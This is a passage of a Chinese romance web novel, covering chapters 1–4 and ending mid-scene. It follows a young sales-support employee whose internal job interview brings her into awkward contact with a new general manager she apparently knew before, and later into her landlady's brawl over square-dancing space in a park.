《色浓情淡》
1. 第 1 章
四月一日,星期五,也是辛熙入职麦高医疗满一年的日子。
她提前了一个小时候到达公司,在楼下碰见了相熟了保安大叔和保洁阿姨。
保安大叔:“小辛,今天打扮得这么漂亮,是有约会吗?”
保洁阿姨:“熙熙,来这么早,今天有大老板过来吗?”
辛熙都笑着回他们“算是”,然后把自己刚买的早餐分给了他们,只给自己留了杯黑咖啡。
她真的吃不下。
紧张,抑或兴奋,总之她觉得自己这一日无需任何食物添补,就能能量满满。
麦高医疗的前身是家老牌美企,虽然已将中国区的业务独立出来运营,但依然保持着外企的人事管理风格,自由、高效,重结果,而非过程,员工上班时间较为自由。
辛熙伏案将准备的PPT的演练了三遍,反复措辞、核对数据,她在的这间办公室才迎来了今日的第二只“早起”的鸟儿。
卢湘看到辛熙,先啧了一声“早”,又问,“那么积极干嘛?真想转岗?”
“是呢”,她没有否认,回答得斩钉截铁。
卢湘将自己的名牌包放进垫着软绸子的框里,展示着自己新做的美拉德色系的美甲,说:“做销售多不体面啊?你没看咱区域里那几个人,在客户面前都舔成啥样了,回了公司,又还得舔着工程师、产品部,交付团队。”
辛熙一直不太喜欢卢湘把别人的“率先示好”说成是“跪舔”,但她一贯的性子软嘴软,做不到当面回怼,只说:“那他们也是为了工作嘛,都不容易噻。”
卢湘赞同了一半,“是啊,工作都不容易。谁不难,咱累死累活地,上线不高,底线倒是可以很低。薪资也比不上销售的零头。你想做销售,不也就是为了钱么?”
“也不全是......”
辛熙试图解释,却被电话铃音打断。
卢湘接起来,懒散的语气开始变奏,极不耐烦,“张鑫,都说了多少次了,以信用为前提的发货,需要财务审批,销售自己在移动端的工作台就可以申请。我?忙着呢,没空。”
她应该有高超的表演艺术天赋,右手翻覆着拈花指,对美甲的满意,丝毫不影响语气里的急色。
辛熙想说,成年的体面,如果可以论斤称两,她首先要考虑的是,应该是提高单价。
但卢湘没有给她机会分享,挂完电话后,只有抱怨被延续下来,“什么都想推给我做,工资奖金怎么不分我?我们是销售支持,不是私人保姆。钱少事儿多,一个个都是大爷,这破工作,等月底发完年终奖,姐姐我不伺候了,都去做销售使唤人呗。”
好像忘了刚才是谁说的,做销售不体面。
她和辛熙都是北区的销售支持专员,原本大区经理肖成还说上半年再多招一个,分担她俩的工作,结果新人没招来,辛熙却在谋划着转岗,而那位肖总,这段时间直接隐身不见了。
卢湘一边骂骂咧咧一边往茶水间去。
手机提前设置为静音模式,但辛熙还是在分心的时候瞧见了屏幕上的信息,回了个:好吧。
快速连上公司内网,在PC端的工作台上提交了工作单,并在内部沟通软件Teams上给上一级审批人留言,请求审批,然后给张鑫追覆了一句:审批自己盯着啊,我待会儿不见得有空。
张鑫的信息,连炮似地轰过来:你提交的工作单,我看不到审批Line。
张鑫:这个单子得尽快审批完,工厂那边安排了下午发货。
张鑫:备件到不了,机器修不好,停工一天对医院来说就是一天的损失。
张鑫:只能靠你了啊,熙妹儿。
辛熙的正在输入,如起伏的浪,一潮涌,一潮息,最终什么都没有发出去。
她甚至不用回复,这个事情的第一责任人就已经转了她的身上。
辛熙无奈,他们对她的“信任”伙同“甩锅”从来都是并行的。
十点半,竞岗的面试正式开始。
辛熙整装待发,蓄势已久,等走进会议室,才发现自己是到得最晚的一个。
推开会议室的门,先是被里面的氛围一惊,没有想象中的整肃凝重,反而是轻松热闹的。
HR辜自卿收起笑,向她招手,“辛熙,你来了,坐”。
很明显,刚才的聊天氛围被她突然的插入打断了,辛熙微微红了脸。她是辜自卿在校招会上招进麦高医疗的,名校背景却并不拔尖,好在思维逻辑缜密、办事效率高又任劳任怨。
入职的一年里,人事评定上,辛熙每个季度都能拿到A。
就是性子软了些,也不善交际。
她来参加销售岗位的竞聘,是完全出乎辜自卿意料的。但人力资源向来鼓励员工探索、竞争,保持活跃,并在公司内部寻找更合适的位置,其中自然也包括了试错。
至少很有勇气,不是吗?
辛熙看见了自己的竞争者。
一名男同事穿着休闲风格的白衬衣,袖管下露出半截白净的小臂,几分意气风华从自在随意的状态里喷薄而出。
而另一位,则一身休闲卫衣,黑框眼镜加马尾。辛熙和她打过交道,交付团队的一级专家,据说和自己团队的老板掰扯了很久,才被允许过来参加。
辛熙看着自己特意花了一个月工资买的得体西装,脸愈发地红,又心疼钱,又为自己的用力过猛羞惭。
辜自卿的旁边坐着销售经理赵志远,他瞧出了辛熙的窘态,笑说:“看来,小辛这次是铆足了劲儿的”。
辛熙不懂他这话是不是有什么弦外之意,只能点头致笑,“经理好”。
恭恭敬敬,像还在学校里,见人都问好。
只是从“老师好”变成了“老板好”,从“学长、学姐好”,变成了,“自卿姐早、赵经理好”。
被教化的乖孩子,循规蹈矩地守着家庭和学校制定的行为规范,仓促地踏入社会。
辜自卿朝赵志远示意,“人都到齐了,咱们就开始吧?既是为你的团队选拔人才,不如就请你代肖总,做个opening?”
肖成是北区的Director,拍板定人是需要他最后签字的,而内部竞岗从来不会安排第二轮,所以肖成没到就开始,三位竞岗者都有些惊讶。
赵志远一贯笑呵呵地语气,“大家也不用紧张,就当成是一场内部的沟通交流会。你们呐,个个都是我不敢得罪的。高桥是名校毕业的管培生,在几个职能部门都轮岗过,管理层的预备役。何工是我们交付团队的核心专家,老向的左膀右臂啊,我们销售都是连夜排队,请她出方案。辛熙呢,一直在我们部门做支持性工作,工作能力和态度我都是看在眼里的,数据分析做得特别棒。不过各位也不用担心我会偏袒自己人,在麦高,永远以真正的实力说话。好了,就说这些,开始吧。”
三个人抽签定顺序,辛熙排在了最后,高桥第一个。
“稍等”,辜自卿短暂地走到一旁接了个电话回来,然后对他们说,“晚十分钟再开始,姜总会来参加这次
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的内部面试”。
赵志远脸上的笑容明显一僵,随即跟着辜自卿走了出去。
“姜总为什么会来?”
问话的是高桥,他越过坐在中间的何耀丹,戳了戳辛熙的肩,这一动作将何耀丹也拉进了八卦的圈子。
“不太清楚呢。”
“姜总是你们销售部的老大也,你居然不知道?”
辛熙坦率承认,“不知道呀,我只是销售部的基层员工,哪里知道GM的事”。
并不是她有所保留。
这个姜总是三个月前空降的,据说刚一上任,就直接去了东、西、南各区的分公司坐镇,挨个和底下的销售过项目,没日没夜地做完了所有account的review。
这是终于轮到北区了?
辛熙莫名有了种中道崩殂的预感。
她听南区的销售支持叶眉形容过这位姜总,“好看但不好惹。第一眼想睡他,开过一次会后,只想说,谢谢,惹不起”。
高桥倒是比她还多些资讯,“听说原本北区的肖总是最有机会升GM的,可高层却从外面高薪挖了这个姜渠过来。肖成自然不乐意,称病请假,撂摊子抗议。姜总的第一枪原本是要从北区打响的,结果被逼得只能先去了西区。”
“那他现在回来,岂不是要开始整治北区了?”
高桥耸耸肩,对何耀丹的提问不置可否。
何耀丹却凝眉,她原本就是讨厌原部门的领导同事,拉帮结派,不干正事,才想换部门的。
谁知,利益场中哪里有真正的净土啊?
“没关系,咱们是来工作的,做好自己的工作就可以啦。”
何耀丹回头,看着旁边的女孩,一双星眸亮晶晶地凝向自己,回她一笑。
初见是因为之前的一次工作交集,销售前期提供的数据有误,导致何耀丹连夜做出来的交付方案完全无法实行,辛熙被销售推出来挡枪。
何耀丹知道不是她的错,但她没有义务去做判官。
职场如战场,她不喜欢这种弱弱的女孩子,连自证的本事都没有。只能混着日子,等哪天凭借姣好的外表在大公司里找个工作体面的男人嫁了,也算出路。
但刚那一句,却让何耀丹有了一种别样的感觉,好似她是狭缝里韧劲儿十足的杂草,只不过开着一朵漂亮的小花。
“幼稚”,高桥似乎被辛熙这种简单看问题的态度惹到,语气不算友好,“你一个支持专员当然轮不到选边站的问题。可要做销售,老板的支持是成单的关键。”
“成单的关键,难道不是满足客户需求?”辛熙无意反驳,她只是单纯提问。
“在其他公司或许是,在麦高却不是。麦高有全球顶尖的医疗设备和服务技术,而你的老板掌握着资源、把控着成本,所谓满足客户需求,只要你能让你的老板允许你在产品目录上随意挑选,并适当让利,就一定能让客户满意。”
辛熙似懂非懂地点头,“高桥,谢谢你的分享。”
高桥睨眼看她,这姑娘是不是有点少根筋?
会议室的门再次被推开,赵志远手里拎着几个纸袋,笑说:“姜总给大家买了咖啡,小辛,外面还有,你去拿给同事们分一下。”
磨砂玻璃外能看到几个人影朝着这边过来,辛熙眼疾手快地去撑着会议室的门。
辜自卿侧身领着人走过来,“姜总,这边请。”
一道人影盖过,辛熙只感觉到来人很高,清冽的气息将自己笼罩在雨后初晨的薄雾之中。
2. 第 2 章
“小辛,还愣着干嘛?”
赵志远的语气已经带着两分不悦,他可不想给自己的新上司留下一个使唤不动下属的初印象。
已经落座的男人,目光越过实木的会议桌睇过来,双手交握,整暇以待。
身处高位的人无需表达自己的不耐烦,自然有眼力见儿的人急于表现。
为了让自己显得成熟干练,辛熙今日特意穿了一双细尖跟儿皮鞋,她慌着往外退,左脚赶右脚,鞋尖直接踢到了脚踝上,生理性地泛起眼泪。
真的好疼呀,发誓再也不穿这种鞋子了。
会议室里,赵志远和辜自卿坐在靠窗的一排,三名候选人的位置则是靠入门的这一边,辛熙到得最晚,坐了最靠里也是最后面的位置。
可姜渠一来,格局就变了。
他的职位最高,在上位落座,辛熙的位置反倒成了挨他最近的。
辛熙分完咖啡再进入会议室时,高桥的竞岗演讲已至尾声,看得出来广受好评。
她猫着身子,试图从边缘溜回自己的位置,可这位GM的大长腿堪堪就占了道,亘在了她落座的路上,并在她猫身抵达后,视若无睹,面无表情,全神贯注在高桥的讲说上。
幸亏身边的助理提醒,他才略带抱歉地让开了道。
辛熙朝施琪投去感激的目光,在半道被一记冷眼截住,吓得赶紧拐了弯。
轮到何耀丹时,辛熙的teams上弹出消息,工作单被拒了。
因为这个客户在之前有过违约承诺,被扣了信用分,财务提出质询:为什么不能先款后货?如何保证这一次不会旧事重演?
辛熙飞快地敲击键盘回复,指尖灵活地在按键上四处跳跃,声音落进姜渠的耳朵,隐隐生了无名火。
余光里,她的表情在配合着输入的文字变幻,委屈地解释,诚恳地请求,好似都能从面部表情上看出来。
半点不懂隐藏情绪,挤眉弄眼的幼稚样。
他甚至怀疑,她只是与记忆里的那个人,长了张相似的脸。
那个女人......哼,断了联系,电话拉黑,微信不回,连个名字都是假的。
瑞拉,瑞拉,辛德瑞拉?
姜渠为自己后知后觉的醒悟,气得想砸桌子。
偏肇事者,不动声色,装不认识,隔岸观火。
辛熙忙得焦头烂额。
财务要求将信息同步销售经理,先获得他的审批。
辛熙赶紧将审批单转给了赵志远,并试图通过脑电波获得他的连线,以失败告终。
何耀丹这头结束了,辛熙插空听了些,她一知半解,有些云山雾绕,只觉得专业人士就是不一样,经手的项目成绩亮眼,产品分析也是针砭有道。
姜渠简单问了几个问题,最后得出结论,“何工做销售是屈才了”。
辛熙在一旁,下意识地跟着点了点头。是屈才了,她认为何耀丹是可以直接做经理的。
“但......”姜渠补充道,“现在市场竞争激烈,传统的销售模式已经走到了末路。往后技术型的销售人才会越来越被需要”。
这句话,似乎已经为今日的这场竞岗,盖棺定论。
赵志远不像他,总想都不得罪,谁结束后,都是一通夸奖。
“高桥在公司的几大主力业务部门都轮岗过,又有客户资源,若能来我们团队,肯定是锦上添花。”
“耀丹是交付中心的中坚力量,若能来我们团队,可谓是如虎添翼。”
还好他的成语没重样,让这位老销售的圆滑多了两分真诚。
辛熙起身的动作,和姜渠的那句“那今天就到这儿了”是同时发生的。
辛熙尴尬地不上不下。
辜自卿解释,“姜总,今日一共三位同事在争取咱们的销售岗位,辛熙还没上呢。”
他好似这才注意到身侧已经站起一半身子的人,声音略沉,“抱歉,我以为是你们部门的行政。我看刚才,不是让她去分咖啡了吗?”
语气平平,听不出来喜怒,但架不住赵志远多想,赶紧介绍:“姜总,小辛是咱们销售部的支持专员。”
明明比他大了不止一轮,但赵志远还是在姜渠的凝视下觉得心慌,直到听他淡淡应了一声“那开始吧”,才缓解。
辛熙准备充足。
一年的工作经验,套上高大上的行业词汇,包装成了她从业以来最漂亮的PPT。
但她竭尽心力的作品,只得到那人一句:“你这个更像是招聘简章上的职责说明,可以直接给人事部门用了。”
“你的价值和优势在哪里?”
辛熙措辞,尝试着回答:“多部门间的协调沟通,做好后方支持,减少销售后顾之忧;统计数据报表,让领导及时掌握业务进展;还有......核对账目,做好预警,支持各种会务需求......”
她的声音在对面越来越冷的眼神里越来越轻。
赵志远自然不想自己的手下在新老板面前露怯,帮着说话,“销售支持的工作细而杂,她们整天也忙。”
“任何工作都有价值,忙也不是借口。”
虽然话说得不好听,但辛熙知道他说的是对的。
又听他问:“你说的这些,对于你转做销售有什么助益?”
送过几次合同,参加过几次招标会,替销售接待过几次客户,算不算?
辛熙硬着头皮回答:“我熟悉业务流程,也和一些客户打过交道。”
“你那只是认识他们,客户并不一定记得你,不是吗?”
辛熙不知道自己是以什么样的表情走出会议室的,只记得他最后看自己的那个眼神,好像在说:原来你是这样的,原来你也不过如此。
何耀丹在经过她时,拍了拍她,给她鼓励,“别气馁,你们姜总可能就是对自己部门的人严苛。”
但愿吧......辛熙并不乐观。
姜渠回到办公室,助理施琪跟在后面问他,“最近连轴转,是不是太累了?”
“为什么这么问?”
施琪和他是在美国留学时认识的,后来又一起创业,过去几年只有比现在更累的时候,可那时施琪是怎么说的,“年轻时不多干点,难道要等老了一脚踏进棺材里,才跟阎王爷说,等等,我还有个合同没签下来吗?”
“你刚才很反常。”
“有吗?”
“以你的教养,不会让人当面下不来台,尤其,是对你的下属,还是个女孩子。”
“我刚才的语气很凶?”
“非常”,施琪对于他的脾气秉性了如指掌,重音强调,“你没看那小姑娘都快被你吓哭了吗?”
姜渠的脑海中闪过那张在雪域高原上,固执而倔强的脸,“她没那么容易哭的。”
“你们之前认识?”施琪表现出强烈的好奇心。
“国内的女孩子没你们以为得那么脆弱。”
施琪抿抿嘴,问起正事,“刚才的三名候选人,你最中意谁?”
“答案很明显。”
“行,我去要人。”
辛熙垂头丧气地坐回工位,卢湘凑过来,关心的却是另一件事,“怎么样?听说新老板也来了,你见着了吗?是不是真有叶眉说的
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那么帅?”
辛熙讷讷地点头,“但也比叶眉说的还不好惹。”
卢湘倒不在意,将耳边的碎发勾到脑后,“不惹他不就没事了。”
那如果已经惹了呢?
辛熙有些绝望地想:冤家路窄果然是真的。
“咱们和他中间隔着好几级,哪有那么容易惹到他。再说,他一个GM,好意思跟我俩这小专员计较吗?”
辛熙从卢湘的话里找到了安慰。
转岗不成的话,以后的工作就和他没有多大交集了,也算塞翁失马。公司这么大,一年到头见不了两回,见着了远远避开就成。前任GM走之前,在电梯里碰到,不还以为自己是送外卖的嘛。
这么一想,辛熙立马又斗志昂扬起来了。
张鑫的电话追过来,“工厂还没有收到审批单,怎么回事?”
“我立马去催”,辛熙放下电话,也不计较他语气里的不友善,问卢湘,“你刚才看到赵经理去哪里了吗?”
“被姜总助理叫走了。”
GM的办公室在他们这一层的最右边,辛熙不敢靠太近,只能站在拐角处挥舞手臂。
姜渠背对着玻璃门,坐在沙发上,赵志远坐在他的对面,视线朝外,他双手撑膝,态度谦逊。
辛熙加大挥动的幅度,总算看到赵志远抬了头,她立马指着手机,示意他查看消息。
不知道赵志远对姜渠说了什么,只看见姜渠抬手,做了个“请”的手势,他才拿出手机。
很快,辛熙就收到了审批通过的提醒,高兴得甚至晃了晃脑袋。
玻璃上倒映出摇头晃脑的人影,真是个傻的,就她现在这样去做销售,还不得被那些老油条吃干抹净了。
也是自己闲得,想这些无关紧要的。
姜渠回神对赵志远说:“肖总生病,请了长假,北区这段时间就暂时由我acting。我会让施琪约你们几个经理的时间,咱们开个小会,正式认识一下。”
肖成是不是真的生病,他们都心知肚明。
姜渠在其他三个大区的雷厉手段早就传到了北区,赵志远自然明白,这是他抛出来的橄榄枝。
肖成在暗地里多有动作,早就找了他们几个经理试探,想要带人走。
他也一直在接触其他的公司,摆明了不可能在姜渠手下工作。
可姜渠作为GM,不可能一直acting,北区的Director早晚是要有人的。
赵志远有自己的打算。
他如今年过四十,业务能力和客户资源都算不得特别突出,去任何一家公司都很难再往上,留在麦高,反而可以仗着资历,过点好日子。
赵志远连声应他,“好的,姜总。我们就等着您主持大局。”
施琪在赵志远走后才进来,挑眼问:“你选他?”
“你觉得不行?”
“老了点。”
“年龄歧视,他可以去工会举报你。”
“你知道我说的不是年龄,是心态。”
“好了,先去吃饭,听说麦高总部的食堂在整个高新区都是有名的。”
施琪摆摆手,“我今天就不和你吃了,佳人有约。”
“晋力回国了?”
“别跟我提他,OK?”施琪白了个眼,“我现在心里只有工作,工作。我约的是支持专员那俩小妹妹,好吗?”
施琪走到门边,或许觉得他人生地不熟,一个人吃饭有点可怜,问:“要不你一起?”
“不用,帮我外带一份,谢谢。”
得,反正工作狂是不需要朋友的。
3. 第 3 章
施琪是经理级,算得上是辛熙和卢湘的上级。
她到的时候,她俩已经在电梯口等着了,见她一个人过来,卢湘问:“姜总不一起吗?”
施琪恍惚明白了她约自己吃饭的目的,心头一笑,但也没当回事,玩笑说:“怎么?没有姜总,就不能和我吃饭了吗?”
“当然没有”,卢湘反应快,赶紧挽上她的手臂,态度亲昵,“我原本就是想约施琪姐吃饭的。只是辛熙回来说新老板很帅,就想借机看看她说的是不是假话。”
半真半假的话,辛熙无从反驳。
“等你们再多工作几年就会知道,在职场,老板长得再好看,也不会减少你们想要咬死他的冲动。”
施琪的话逗得电梯里的其他人都跟着笑了起来。
吃饭的时候,卢湘又借口问了很多关于姜渠的事情,当然,信息的传递需要有来有往的过程,卢湘也给施琪科普了不少司内的八卦。
辛熙一直安静地吃饭,她从施琪的身上感受到了另一种女性魅力,自由洒脱、自信强大。
那是见过世界后的“明朗与自在”,反衬出自己的暗淡。
“怎么这样看着我?”施琪发现了辛熙小迷妹一般的眼神,玩心闹起,“我男女通吃的啊”。
果然就又瞧见她脸了红,急声解释,“我没那个意思......我只是觉得,施琪姐,你好棒啊。去过战区,追过极光,救过鲨鱼,见过那么广阔的世界。”
“可你们也见识过我没有见识过的世界呀。”
施琪发现她真的好爱脸红,早上开会时,她甫一见着姜渠,脸就直接红到了耳根后。
这样子的一个女孩子,为什么会想转岗做销售?
施琪忽然对她产生了好奇。
回到办公室,施琪将带的简餐放到姜渠的面前,“先吃饭!元姨可是给我下了任务的,监督你的一日三餐。”
“你一个哥大的高材生做这些,不觉得太屈才了吗?”
“我乐意。”
姜渠无奈,只能合上电脑,打开餐盒后,倒是有几分意外,“谢天谢地,你终于记得我不吃香菜了。”
“嗯?”施琪凑过去看,“难怪刚指明我拿这一份呢。”
现在的小姑娘挺懂事儿啊,早早就打听好了老板的喜好。
刚才吃完饭,施琪这里正好进来了一个电话,刚好辛熙她们要帮赵志远外带一份,就嘱咐着照样给姜渠买一份就行。
等她接完电话回来,两份饭已经打包好,被辛熙一左一右地拎在手里。
施琪随意去接其中一份,辛熙却将另一份递给她。而旁边那个,见施琪提着餐盒,倒很有眼力见儿地说:“施琪姐,我帮你拿吧。”
施琪不喜欢国内这套看人下菜碟的模式,也不习惯因为身份地位而区分出来的等级分明,语气淡了些,“不用,我有手有脚的。”
一顿饭下来,她也算基本摸清了俩人的性格。
施琪走出两步,又回头,目光狡黠,对正在囫囵的人说:“对了,早上被你吓哭的那小姑娘说,觉得你长得很帅哦,姜总。”
姜渠险些一口饭喷出来。
此刻的辛熙不知道谣言已经传到了本尊耳里,她正在吭哧吭哧地爬、楼、梯。
忘记了是第几遍,只记得刚开始思绪杂乱,胸腔被无形的气压压缩到濒临爆炸,她急于发泄。
她在公司常备着一双运动鞋,时间宽裕或心情郁闷的时候她就会去爬楼梯,就像周末的时候,她会选择林间徒步或是爬山一样。
只要定下目标,就一步一步朝前,任血脉贲张、肌肉酸痛、大汗淋漓,只要脚踏实地,始终走在选择的路上,就好。
当辛熙再一次爬上七楼的时候,运动耳机突然提示电量低,要关机了。辛熙只好摘了耳机,垂挂在脖颈上。过程中,她没有听见安全通道的门被轰然打开的声音,自然也没有及时避开。
男人的语气亲昵又温柔,甚至有些难得的卑微,“等我回去好不好?......行行行,在公司上班呢......周末我过去?......我们住一起,就不用来回折腾了啊。”
等辛熙意识到自己正在偷听老板的私密事,并蹑手蹑脚地准备绕开时,姜渠的目光已经投了过来。她赶紧掩耳盗铃似的将耳机戴上,表现得镇静自若,反应极快,就差把“我什么都没有听到”写脸上了。
如果没有最后那一台阶的趔趄,想必这个表演会更有说服力。
“你在笑什么?你是觉得我刚才说的很好笑吗?”
电话里追过来的质疑声将姜渠的思绪拉了回来,敛起不自觉上扬的唇角,解释着,“刚看到一只考拉睡着了,忘了自己还在树上,结果摔了下来,笨死了。”
“你们公司有考拉?”
“没有。私养犯法。”
辛熙磨磨蹭蹭,等又一次爬到六楼时,她特意竖起耳朵,确定楼上没有任何声音,才敢继续往上。
谁知,那个男人却只是挂了电话,长腿交叠,斜倚着楼梯的护栏,安静地等着兴师问罪。
她避无可避,不得不扯出职业假笑,打招呼:“姜总好。”
“忙里偷闲?”
拢紧破口的心绪,辛熙佯装镇静,“麦高有两个小时的午休时间哦。”
辛熙按亮手机屏幕,将13:35分的时间展示给他看,几不可见的一个挑眉被捕捉,温顺的绵羊也会磨刀霍霍。
姜渠用手机推开抵近的手,睥睨而下,“你是不是还忘了点什么?”
逃避解决不了任何问题,但不是所有问题都期待被解决。好不容易倒空的杂念又往脑中填充,但她暂时没有勇气面对,只说:“我刚才不是故意偷听您讲电话的。”
“只是这个?”
由于她低着头,姜渠并不能看到她的表情,就听她又说:“那个......姜总,您放心,我这人记性不好,就算我真听见什么了,也忘了。”
“你的记性是挺不好的”,姜渠往下一阶,锋锐凌厉的气势将欲盖弥彰的人赶进穷巷。
辛熙紧绷着身子,脸上的红晕消退,淡至一种脆弱的白。
手机轻微震动,微信聊天窗跳出消息,男人从她的身边掠过,似青柳抚碧波。
辛熙点
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开微信,上一条消息,还是她发的添加好友:姜总,您好。我是北区的销售支持专员,辛熙。
仅聊天的权限限制,他在当天就通过了好友申请。
三个月来,俩人的工作并无交集,所以也没有任何其他的聊天记录。
直到刚才,他发来那句:工作号,应该不会删除拉黑谁吧?
心腔失频般乱跳,辛熙捏着手机,四肢微颤,剧烈运动后的酸胀感突然来袭,搅得人重心不稳。
保洁阿姨来打楼梯间清扫,见她垂头丧气地坐着,忙拿出块干净的抹布铺到地上,“哎呀呀,地上灰尘多重啊,熙熙,坐这儿。”
“不用了,阿姨。”
“坐这儿”,夏淑芬坚持,“你们这些小白领啊,每天穿得体体面面、漂漂亮亮地,坐地上像什么话。”
辛熙只好跟着挪了挪。
夏淑芬做事利落,很快就将这一层的楼梯间打扫完毕,辛熙知道,她这一周的辛苦工作已经到了收尾阶段。
想起早上见到她时,自己那春风得意的样子,忽然就没脸再丧下去,“阿姨,谢谢您啊,我去上班了,毛巾给您搭这儿。”
夏淑芬拧着手中的抹布,“成,放那儿就行。”
下午的工作按部就班,除了赵志远在群里说了句“北区会暂时由姜总代管”外,一切都看似如寻常无异。
晦涩的心事被不断找来的事情暂时压沉在最深暗处。
还好明天就是周末啦!
在麦高,周一到周五可能会忙到疯掉,但双休基本不会缺席。
比起大学同学去的那些单休的、大小周的,甚至周末节假日会随时被叫回去加班的公司,辛熙无比庆幸,自己当初能进麦高。
至少在劳动法限定的权益保障里,麦高从不会钻空子。
电脑右下角的时间跳至整点,辛熙头一次踩点下班,托特包里塞着笔记本,另一只手拎着高跟鞋,一溜烟儿地往外跑,“卢湘,下周见咯。”
“诶,等我下啊”,下班这件事上,卢湘不甘落后,赶紧跟了过去,“第一次见你下班这么积极。怎么?晚上有约会?”
辛熙点了点头,确实有约,但这不是她积极下班的原因,她只是想避着那个人而已。
可是很显然,她今日诸事不宜,任何一次主动出击,都只会适得其反。
姜渠今日也要准点下班。
卢湘先看到了正在走近的二人,用手肘碰了碰辛熙,低语:“姜总过来了,你按着点电梯啊,等他们一道。”
辛熙装没听见,在电梯门“叮”开的瞬间不带一丝犹豫地踏进去,然后迅速按了关合的按钮。
姜渠和施琪走到时,只看见电梯往下跳动的数字。
卢湘怎么会放过这个难得的机会,自我介绍道,“您好,姜总,我是北区的支持专员-卢湘。”
“你好”,姜渠回以职业化的笑意,“下班了?”
“嗯。不过如果姜总有任何吩咐,可以随时call我”,说完,拍了拍自己提着的电脑包,“随时待命。”
“辛苦了。我个人不支持加班文化。”
4. 第 4 章
姜渠无意多谈。
到他这个位置,底下人在他面前的表演究竟几分真几分假,他自然分得清楚。
无足轻重的人,无关痛痒的小心机,在他这里,看破不说破。
他的客套,只是一种自上而下的容纳。
“刚辛熙不是和你在一起吗?”施琪问起,偏过头,完全屏蔽掉姜渠扔给她的一个斜睨。
“嗨”,卢湘指着电梯门,“她今天有约会,着急得嘞。”
“她有男朋友了?”
卢湘还没回答,就被姜渠打断,“你什么时候这么爱八卦了?”
“好奇不行吗?麦高的姑娘一个赛一个的靓,我身边好多优质单身男青年,等着我撮合呢。”
施琪回敬他的眼神,仿佛在说:你也是其中之一。
辛熙回到家时,天色尚早,晚霞绮丽,招揽春意。
黎英在院中收晾晒的被套,辛熙绕到她身后,撒娇地抱着她,“英姨,你又帮我把被套洗啦,说了周末我自己洗的呀”。
“今儿难得天气好,被子晒过太阳后晚上睡着舒服,周末怕是要下雨的。”
辛熙又抱着她扭了扭腰,“英姨~世界上怎么会有您这么好的房东。我的好运气大概都拿来遇见您了。”
黎英一边将收好的被单掸平整,一边问她,“今儿怎么回来这么早?”
“加班又没有加班工资的咯。”
“受委屈了?”黎英眉眼一挑,看那委屈巴巴的小模样藏不住情绪。
辛熙蠕嘴,将黎英叠整的被单抱在怀里,洗衣凝珠的余味被阳光烘烤后,滞留下淡淡的馨香,像在密林之中走到石破天惊的一处,脑中闪现那张冷脸,“新老板和我不太对付,我可能得找新工作了。”
“工作呢,在哪里做,在谁手底下做,都一样,不会有让下属喜欢的领导的。”
“是吧。”
可若和领导牵涉一些爱恨情仇的纠葛,该怎么办呀?
辛熙不敢问出口。
辛熙毕业后原本是和姐姐辛雅同住的,但辛雅当时的男朋友是个健身教练,经常只穿个底裤,赤条条地在客厅走来走去。
辛熙向姐姐抗议了几回,辛雅每回见着,也都直接吼,“滚进屋,你吓倒我妹了。”
男人被吼,不气不恼,反而抬臂秀着健身成果,“不错吧?”
“有病”,辛雅骂道,却并没真生气,“我妹可还没交过男朋友,别脏了她眼。”
男人用看世界奇观的表情,看得辛熙脚指头抠地。
几次之后,不见任何成效,辛熙才明白,在年轻人的花花世界里,她反而是一种另类,过时而老旧。
后来因缘际会,认识了黎英,辛熙就租了她的房子,搬了出来。
黎英年近七十,比辛熙的奶奶小不了几岁。
但她保养得很好,性格也一直风风火火,比起一向温吞慢热的辛熙,反倒更像是年轻人。
她时常说:“时间能在我这儿带走的,只有胶原蛋白。”
黎英爱旅游、唱K、跳舞、交友,还是老年模特队的核心成员。
辛熙呢,却在义务教育阶段就已经被驯化,乖巧、老实、按部就班、规规矩矩。
大学时代,有喜欢她的男生追了一小段时间后就放弃了,形容她乖巧得像刀笔雕刻的完美人偶,但寡淡无趣。
辛熙一向努力,但努力的上线也只是将自己在每个阶段都维持在群体的中游位置。
最被忽视的中游!
不调皮捣蛋、惹是生非,也没有优异到,耀眼突出。
是那种毕业后同学聚会时,最先被忘记名字的人。
二十四年的人生里,辛熙为数不多的叛逆都很快偃旗息鼓。
前两天,辛雅给她来电话,说交了新男朋友,约周五下班请她吃饭。
辛熙还没有从上一个健身男的冲击里平复,辛雅的男朋友就已经更新迭代。
辛熙回到房间,换好被套,刚准备出门,就见黎英抄起厨房的擀面杖,气势汹汹地往外走,忙叫住:“英姨,你干嘛去呀?”
“打架,抢地盘!”
黎英言简意赅,辛熙赶紧趿上鞋子跟上。
中学时代里,那些早恋、逃课、打架的叛逆行为从未在辛熙身上发生过,以至于后来她看那些青春疼痛小说时,始终无法代入。
可谁能想到,成年后的她会被搅进中老年退休生活之广场舞地盘争夺战中。
清溪公园的门口,已经有两拨水火不容的大爷大妈吵闹成一团。
黎英直接冲到对阵的中间,大吼:“杨春菊,这地方向来是我们在跳,你横插一杠子,是什么意思?”
“今儿是我们先到的,谁先到谁用。你们要用,明儿赶早。”
身旁的人七嘴八舌,比早晨林间的雀鸟还闹,辛熙站在外缘,根本听不清,只能看见黎英站在正中间,叉着腰,挥着擀面杖,吵得面红耳赤。
“你们还懂不懂规矩了。”
“黎英,你说谁不懂规矩了。”
两拨人马结怨已久,一边跳的古典舞,舞曲婉转悠扬;另一边呢,喜欢迪斯科,在老树上挂起彩灯,俨然一个开放式迪厅,音乐节奏明快强劲。
两头互相嫌弃,经常因为对方的音乐声盖过来而起冲突。
“黄果树下这块地儿,光线这么暗,你们整天跳那些期期艾艾的,不知道的人还以为公园大半夜闹鬼了。”
“你们整天搂搂抱抱就像话了?一把年纪,为老不尊,不知羞耻。”
“你说谁不知羞耻!”
嘴皮子的吵架很快演变成手脚的较量,辛熙见势头不对劲儿,赶紧往人群里挤,“大爷大妈们,冷静.....冷静点......不至于,不至于啊......都是街里街坊......”
她的劝解在一群大爷大妈的激愤声里,小若蚊子音。
辛熙身材娇小,跻身其中,被舞蹈扇火红的飘头扇来扇去,好不容易挤到了黎英身边,没等她劝,黎英就已经和对面人互相扯起了头发。
黎英大怒,“我刚烫的头发,你松手。”
“你先松。”
“你松。”
“英姨,英姨,小心你的血压。”辛熙陷入其中,劝也劝不住,拉也拉不开。
花拳绣腿从四面八方过来,辛熙的头发被扯乱,衣衫歪斜,脸上挂彩,“别,别打了!别打了!”
连辛熙都觉得头晕目眩,一个个年纪都不小了,别真闹出个好歹。
辛熙看见旁边的扩音器,拿起来扯着嗓子大吼,像只忽然发怒的狮子,甩了甩炸开的毛发。
两路人都被突然冒出来的声音怔住,辛熙站在人群之中,对忽然聚焦的目光感觉不适,刚冒头的情绪瞬间就蔫了,“那个......警察叔叔来了。”
如果不
